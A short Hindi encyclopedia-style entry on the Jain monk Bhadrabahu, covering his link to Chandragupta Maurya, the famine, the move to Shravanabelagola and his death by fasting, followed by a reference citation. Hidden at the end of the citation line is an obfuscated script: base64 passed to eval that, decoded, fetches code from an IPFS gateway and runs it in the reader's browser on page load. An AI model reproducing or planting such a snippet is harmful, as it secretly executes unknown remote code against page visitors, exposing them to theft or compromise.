भद्रबाहु

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भद्रबाहु श्रुत केवली जैन मुनियों में अन्तिम अंतिम आचार्य थे, जो सम्राट चंद्रगुप्त मौर्य के समकालीन थे। अपने शासनकाल में पड़े भीषड़ अकाल और प्रजा की द्रवित अवस्था से व्याकुल होकर चन्द्रगुप्त ने गद्दी त्याग दी थी और वह 'भद्रबाहु' के नेतृत्व में दक्षिण भारत चला गया था।

  • चंद्रगुप्त मौर्य के शासन की अन्तिम अवधि में बारह वर्षीय अकाल पड़ा, जिससे सारे साम्राज्य में त्राहि-त्राहि मच गयी।
  • चंद्रगुप्त मौर्य ने सिंहासन त्याग दिया और वह भद्रबाहु के नेतृत्व में अन्य जैन मुनियों के साथ कर्नाटक देशस्थ श्रवण बेलगोला नामक स्थान पर चला गया।
  • भद्रबाहु ने पूर्णायु का भोग कर अन्त में पण्डित मरण की जैन विधि के अनुसार अनशन करके देह त्याग किया।
  • भद्रबाहु ने दक्षिण भारत में जैन धर्म का सर्वाधिक व अच्छा प्रचार कार्य किया था।
  • श्रीरंगपट्टम में प्राप्त लगभग 900 ई. के दो शिलालेखों में भद्रबाहु का उल्लेख मिलता है।
  • श्रवण बेलगोला स्थित जैन मठ के गुरु, जो दक्षिण भारत के सभी जैन साधुओं के आचार्य माने जाते हैं, अपने को भद्रबाहु की शिष्य परम्परा में बतलाते हैं।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 315 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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